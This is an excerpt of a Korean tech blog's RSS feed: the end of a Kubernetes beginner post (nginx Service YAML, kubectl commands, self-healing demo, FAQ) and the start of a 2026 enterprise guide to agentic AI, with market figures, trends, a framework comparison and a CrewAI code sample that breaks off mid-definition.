  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ClusterIP
  &lt;span class=&quot;token key atrule&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;targetPort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;적용과 확인은 세 줄로 끝납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; nginx.yaml
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx
kubectl port-forward svc/nginx-svc &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;:80&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;으로 접속하면 nginx가 응답합니다. Pod 하나를 강제로 삭제해봐도 곧바로 새 Pod가 올라오는 걸 확인할 수 있습니다 — 이게 &lt;strong&gt;자가 치유&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Pod 하나 강제 삭제&lt;/span&gt;
kubectl delete pod &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 몇 초 뒤 확인해보면 새 Pod가 자동 생성됨&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;전체 자가 치유 과정을 시각화하면 이렇습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/98fefe05867293d51342d979addfeef3/64756/diagram-self-healing.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACPklEQVR42h3QWY6cMBQFUFaQroG5zDzbTAYbMBhDQVUpHamVREr+sv91hG7p6P1dXb0rnYzi4g/XgNkxi/LFR3NcrbDZQ8QBZKC8W9lsRQNIRiudnGyy0xEkA4gGM+ql8608QXGBIm422L2K9tHSJ2XfcbM5+ejRh4dGL6Y+ZE42mlCYGTfTyYhHI+ykEygcuhpwOIXNW9gAp2bNFvhNGpDQaynun/s7pgJVvZvRWPzxybuO1oMWdEdzYfJdmzeZznIzAb8pxSujS0ZElPYJ4e3PD7RuySSchNj8w9p/a/272j5Un0gXUF74Im+7zO9H3vJw385dI0jFYTKEmCX7FnORTLMTtwr7pb/+qfNfhf5Q3Va62pVMuNIvKhUK5lZAom6JWpG0S5iPMexgOaRFl+bUDluVPDT2Utpdqe/KEZZdrCSdlg06ZBpkdkDSeEgTBrMxOppRl5Z9nNMEERA1aiq+zErMZRtLqteosNcQ09Go55MT0ixlaTZCOIVJH0ByJEPURqgBEZYzcbgm/BqNV7uWVL/V8xFUwqoXs+Ru3OX5jPK5KI7BhgBSWA8Qswz3txgrcFHR+nmz+QIqSQuIg9ewexxu1eynDNcbhLwqlyDuvYzU/Ur4s+xmI6yNcrPx61ZsoNhOt1LSw05Dg5oPWj4YxeS0a8qfLrt74z1gu9sIB0/WF71g55SeE/IW4G9udTYLyYyHGxwBmqxiPtilcOrl+AKUMyi4CUcDjjr63FJOukvYXoLm7GLZby638j9fx30j9wU63gAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/98fefe05867293d51342d979addfeef3/a1b3b/diagram-self-healing.webp 215w,
/static/98fefe05867293d51342d979addfeef3/fc700/diagram-self-healing.webp 430w,
/static/98fefe05867293d51342d979addfeef3/521f7/diagram-self-healing.webp 860w,
/static/98fefe05867293d51342d979addfeef3/cbd37/diagram-self-healing.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/98fefe05867293d51342d979addfeef3/f7886/diagram-self-healing.png 215w,
/static/98fefe05867293d51342d979addfeef3/bc750/diagram-self-healing.png 430w,
/static/98fefe05867293d51342d979addfeef3/3e3fe/diagram-self-healing.png 860w,
/static/98fefe05867293d51342d979addfeef3/64756/diagram-self-healing.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/98fefe05867293d51342d979addfeef3/3e3fe/diagram-self-healing.png&apos; alt=&apos;K8S 자가 치유 플로우 — Pod 장애 감지부터 자동 복구까지 4단계&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;K8S 자가 치유 플로우 — Pod 장애 감지부터 자동 복구까지 4단계&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;운영자 개입 없이 컨트롤러가 &lt;strong&gt;원하는 상태(desired state)&lt;/strong&gt;를 기준으로 차이를 감지하고 복구합니다. 이 선언적 운영 모델이 K8S의 가장 강력한 장점입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;K8S를 도입해야 할 때 vs 안 해도 될 때&lt;/h2&gt;
&lt;p&gt;솔직히 말씀드리면, &lt;strong&gt;모든 프로젝트에 K8S가 필요한 건 아닙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;도입을 추천하는 경우&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서비스 수가 10개 이상이거나 앞으로 늘어날 계획&lt;/li&gt;
&lt;li&gt;트래픽 변동폭이 커서 오토스케일링이 필요&lt;/li&gt;
&lt;li&gt;무중단 배포·카나리 배포가 요구사항&lt;/li&gt;
&lt;li&gt;여러 환경(dev/staging/prod)을 일관되게 운영해야 함&lt;/li&gt;
&lt;li&gt;팀에 인프라/DevOps 담당자가 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;도입을 재고해야 하는 경우&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;단일 서비스, 트래픽 안정적, 작은 팀&lt;/li&gt;
&lt;li&gt;운영 인력 없이 개발자 1~2명&lt;/li&gt;
&lt;li&gt;Docker Compose나 관리형 PaaS(Cloud Run, ECS Fargate 등)로 충분한 규모&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;K8S는 &lt;strong&gt;강력한 만큼 복잡합니다.&lt;/strong&gt; 러닝 커브와 운영 비용을 지불할 준비가 됐을 때 도입하는 게 맞습니다. 처음부터 &quot;일단 K8S&quot;는 오히려 생산성을 떨어뜨리는 경우가 많습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Docker Swarm과 K8S 중 뭘 써야 하나요?&lt;/h3&gt;
&lt;p&gt;사실상 K8S가 표준입니다. Docker Swarm은 설정이 간단한 대신 생태계가 얇고, 클라우드 3사(AWS·GCP·Azure)가 모두 관리형 K8S(EKS·GKE·AKS)를 제공합니다. 학습 리소스, 채용 시장, 도구 생태계 모두 K8S 중심으로 움직입니다.&lt;/p&gt;
&lt;h3&gt;Q. 공부는 로컬에서 어떻게 시작하나요?&lt;/h3&gt;
&lt;p&gt;가볍게 시작할 수 있는 옵션이 많습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker Desktop의 Kubernetes&lt;/strong&gt;: 클릭 한 번으로 활성화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;minikube&lt;/strong&gt;: 단일 노드 로컬 클러스터&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;kind&lt;/strong&gt;: Docker 컨테이너로 K8S 노드를 띄우는 방식, CI에도 유용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;실습은 &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 명령어 익숙해지는 것부터 시작하시면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 직접 구축 vs 관리형 서비스, 뭘 써야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;처음엔 무조건 관리형(EKS/GKE/AKS)입니다.&lt;/strong&gt; 직접 구축(self-hosted)은 Control Plane 운영·업그레이드·백업까지 직접 책임져야 하고, 보안 이슈도 많습니다. 비용이 문제라면 단일 노드 K3s 같은 경량 대안도 있지만, 이건 규모를 충분히 이해한 다음 선택하는 게 맞습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;오늘 정리한 내용은 K8S 전체의 입구일 뿐입니다. 핵심만 다시 짚으면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;K8S는 &lt;strong&gt;컨테이너 운영을 자동화하는 플랫폼&lt;/strong&gt;, Docker의 상위 개념이 아니라 &lt;strong&gt;운영 레이어&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pod → Deployment → Service → Ingress&lt;/strong&gt; 흐름이 가장 기본&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;선언적 YAML&lt;/strong&gt;과 &lt;strong&gt;자가 치유&lt;/strong&gt;가 K8S를 쓰는 진짜 이유&lt;/li&gt;
&lt;li&gt;작은 프로젝트엔 과합니다 — 규모와 팀 상황에 맞게 판단하세요&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;앞으로는 이 시리즈로 다음 주제들을 이어갈 예정입니다.&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 실전 명령어 모음&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Helm으로 패키지 관리하기&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD로 GitOps 배포 파이프라인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 K8S를 처음 접했을 때 어떤 부분이 가장 헷갈리셨나요? 댓글로 공유해주시면 다음 포스팅 주제에 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Agentic AI 2026 실전 가이드 — 시장 현황부터 프레임워크 선택, 도입 전략까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Agentic AI가 뭔지는 알겠는데, 실제로 우리 조직에 도입하려면 어디서부터 시작해야 하죠?" 지난 포스팅에서 Agentic AI의 개념과 기존 생성형 AI와의 차이를 다뤘는데요, 이번에는 202…]]></description><link>https://blog.javapark.kr/agentic-ai-2026-enterprise-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/agentic-ai-2026-enterprise-guide/</guid><pubDate>Thu, 16 Apr 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/babe7e451de944b81de8cb3356a2f9ee/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABp0lEQVR42oWSQW/TQBCFfalyaT2OY3u9u07j2LGzTu06sZN1Y6dRUQ51gYpeEFJQK1RuILWN1N5aQAgOXPgD8GNZKwGaChVptNKu9O17M28k0APQGRjBI6WiSMcpohmiXMNJHYXLdwnMEEgMOFRQD4zeP+GGGRuUU6sgVq6ToWruruC6M274UxWHGgoUvQuijIdGVDMSgkLWtDKdJupKKZBqz282nl7XDi82ykVt8gZefQKbg+bfc8GIn4e8ZP0ZcUbE5cQdmU5awSdXX+Zffx69/3h69/3k3d1W/Axo//4UFKOLWM54mRbH7d6Eehx3ljCTzucfLs6/vZ1/vl38ePniclNuKQ9tM+qMe8lhPz9qdveIx8kfuBheTkeLJDybZjdR+FoWzaC1sYm/sJf5g9nuXulGU8vP/sKaWzTsFOyhvB3LzQFYCeBoDdaZ4aV2NPH7B60gx24qSNROKhiz/WY0M+NS6RTgjKGdQTOp8lsXlzV/S/NkkQVi4rpsTaqCEVLbQ+hMoHtQnS1eJf/o2vxeErQD1gDsDLx9YE9WMP0PXDd3RNS/AO7/XmKmHBoZAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/babe7e451de944b81de8cb3356a2f9ee/a1b3b/thumbnail.webp 215w,
/static/babe7e451de944b81de8cb3356a2f9ee/fc700/thumbnail.webp 430w,
/static/babe7e451de944b81de8cb3356a2f9ee/521f7/thumbnail.webp 860w,
/static/babe7e451de944b81de8cb3356a2f9ee/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/babe7e451de944b81de8cb3356a2f9ee/f7886/thumbnail.png 215w,
/static/babe7e451de944b81de8cb3356a2f9ee/bc750/thumbnail.png 430w,
/static/babe7e451de944b81de8cb3356a2f9ee/3e3fe/thumbnail.png 860w,
/static/babe7e451de944b81de8cb3356a2f9ee/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/babe7e451de944b81de8cb3356a2f9ee/3e3fe/thumbnail.png&apos; alt=&apos;Agentic AI 2026 엔터프라이즈 도입 가이드 커버 — 프레임워크 비교와 4단계 로드맵&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Agentic AI 2026 엔터프라이즈 도입 가이드 커버 — 프레임워크 비교와 4단계 로드맵&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Agentic AI가 뭔지는 알겠는데, 실제로 우리 조직에 도입하려면 어디서부터 시작해야 하죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;/agentic-ai/&quot;&gt;지난 포스팅&lt;/a&gt;에서 Agentic AI의 개념과 기존 생성형 AI와의 차이를 다뤘는데요, 이번에는 &lt;strong&gt;2026년 현재 시장이 어디까지 왔는지&lt;/strong&gt;, 그리고 &lt;strong&gt;실전에서 어떤 프레임워크를 선택하고, 어떻게 도입해야 하는지&lt;/strong&gt;를 정리해봤습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 2026년은 Agentic AI가 &lt;strong&gt;파일럿에서 프로덕션으로 넘어가는 원년&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;📊 2026년 Agentic AI 시장, 숫자로 보기&lt;/h2&gt;
&lt;p&gt;직접 조사해보니, 주요 리서치 기관들의 수치가 한 방향을 가리키고 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;수치&lt;/th&gt;
&lt;th&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;엔터프라이즈 앱 내 AI 에이전트 탑재율&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;40%&lt;/strong&gt; (2025년 5% 미만에서 급증)&lt;/td&gt;
&lt;td&gt;Gartner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Agentic AI 시장 규모&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;78억 달러&lt;/strong&gt; → 2030년 520억 달러 전망&lt;/td&gt;
&lt;td&gt;업계 종합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 에이전트 구축 중인 조직 비율&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;61%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Omdena&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 에이전트 스케일링이 경쟁 우위라고 답한 리더&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;93%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;업계 서베이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;산업별 최고 도입률 (통신)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;48%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OneReach&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;솔직히 이 정도면 &quot;도입할까 말까&quot;가 아니라 &lt;strong&gt;&quot;어떻게 도입할까&quot;&lt;/strong&gt; 단계입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🔥 2026년 Agentic AI 5대 트렌드&lt;/h2&gt;
&lt;h3&gt;1. 파일럿에서 프로덕션으로&lt;/h3&gt;
&lt;p&gt;Gartner, Forrester, IDC 등 주요 분석 기관의 메시지가 일치합니다. &lt;strong&gt;2026년은 에이전트를 실험 단계에서 운영 환경으로 옮기는 해&lt;/strong&gt;입니다. 더 이상 PoC만으로는 경쟁에서 살아남기 어렵습니다.&lt;/p&gt;
&lt;h3&gt;2. 멀티 에이전트 오케스트레이션&lt;/h3&gt;
&lt;p&gt;단일 에이전트가 아닌, &lt;strong&gt;전문화된 여러 에이전트가 협업하는 아키텍처&lt;/strong&gt;가 주류로 자리 잡고 있습니다. 마치 회사에서 기획자, 개발자, QA가 각자 역할을 나눠 일하듯, AI 에이전트들도 역할 분담과 협업을 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[사용자 요청]
    ↓
[오케스트레이터 에이전트]
    ├── [리서치 에이전트] → 정보 수집
    ├── [분석 에이전트] → 데이터 분석
    └── [실행 에이전트] → 결과물 생성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. 거버넌스가 핵심 설계 요소로&lt;/h3&gt;
&lt;p&gt;2025년까지는 거버넌스를 &quot;규제 때문에 어쩔 수 없이&quot; 하는 분위기였다면, 2026년에는 &lt;strong&gt;거버넌스가 잘 갖춰진 조직이 오히려 더 과감하게 에이전트를 배포&lt;/strong&gt;하는 패턴이 나타나고 있습니다. 신뢰가 확보되니 활용 범위가 넓어지는 거죠.&lt;/p&gt;
&lt;h3&gt;4. 노코드/로우코드 민주화&lt;/h3&gt;
&lt;p&gt;에이전트 개발이 더 이상 전문 엔지니어팀의 전유물이 아닙니다. &lt;strong&gt;비즈니스 사용자가 직접 에이전트를 설계하고 배포&lt;/strong&gt;하는 플랫폼들이 빠르게 성장하고 있습니다.&lt;/p&gt;
&lt;h3&gt;5. 비용 최적화가 설계 단계부터&lt;/h3&gt;
&lt;p&gt;에이전트를 만들고 나서 비용을 줄이는 게 아니라, &lt;strong&gt;설계 단계에서부터 경제 모델을 함께 설계&lt;/strong&gt;하는 것이 2026년의 핵심 트렌드입니다. 토큰 사용량, API 호출 횟수, 실행 시간 등을 아키텍처 레벨에서 관리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🛠️ Agentic AI 주요 프레임워크 비교 (2026)&lt;/h2&gt;
&lt;p&gt;프레임워크 선택이 곧 프로젝트의 성패를 좌우합니다. 2026년 현재 가장 많이 쓰이는 프레임워크들을 정리했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프레임워크&lt;/th&gt;
&lt;th&gt;주요 특징&lt;/th&gt;
&lt;th&gt;적합한 사용 사례&lt;/th&gt;
&lt;th&gt;난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CrewAI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;역할 기반 멀티 에이전트, 직관적 API&lt;/td&gt;
&lt;td&gt;팀 기반 워크플로우 자동화&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LangGraph&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;그래프 기반 상태 머신, LangChain 생태계&lt;/td&gt;
&lt;td&gt;복잡한 분기/반복 워크플로우&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AutoGen&lt;/strong&gt; (Microsoft)&lt;/td&gt;
&lt;td&gt;대화 기반 멀티 에이전트, 코드 실행&lt;/td&gt;
&lt;td&gt;연구, 코드 생성, 분석&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Agent SDK&lt;/strong&gt; (Anthropic)&lt;/td&gt;
&lt;td&gt;가드레일 내장, 핸드오프 패턴&lt;/td&gt;
&lt;td&gt;안전성 중시 프로덕션 앱&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Semantic Kernel&lt;/strong&gt; (Microsoft)&lt;/td&gt;
&lt;td&gt;.NET/Java/Python 지원, 기업 통합&lt;/td&gt;
&lt;td&gt;기존 엔터프라이즈 시스템 연동&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LlamaIndex&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RAG 특화, 데이터 커넥터 풍부&lt;/td&gt;
&lt;td&gt;문서 기반 에이전트&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;프레임워크 선택 가이드&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;빠르게 프로토타입&lt;/strong&gt;하고 싶다면 → &lt;strong&gt;CrewAI&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;역할(Role), 목표(Goal), 백스토리(Backstory)만 정의하면 바로 멀티 에이전트 시스템 구축 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; crewai &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Agent&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Task&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Crew

researcher &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Agent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    role&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;시장 조사 전문가&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    goal&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Agentic AI 시장 동향 분석&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    backstory&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;10년 경력의 IT 시장 분석가&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    tools&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;search_tool&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; web_scraper&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

writer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Agent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    role&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;기술 콘텐츠 작가&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    goal&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;조사 결과를 블로그 포스팅으로 작성&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    backstory&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;개발자 출신 테크 블로거&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

crew &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Crew&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    agents&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;researcher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writer&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
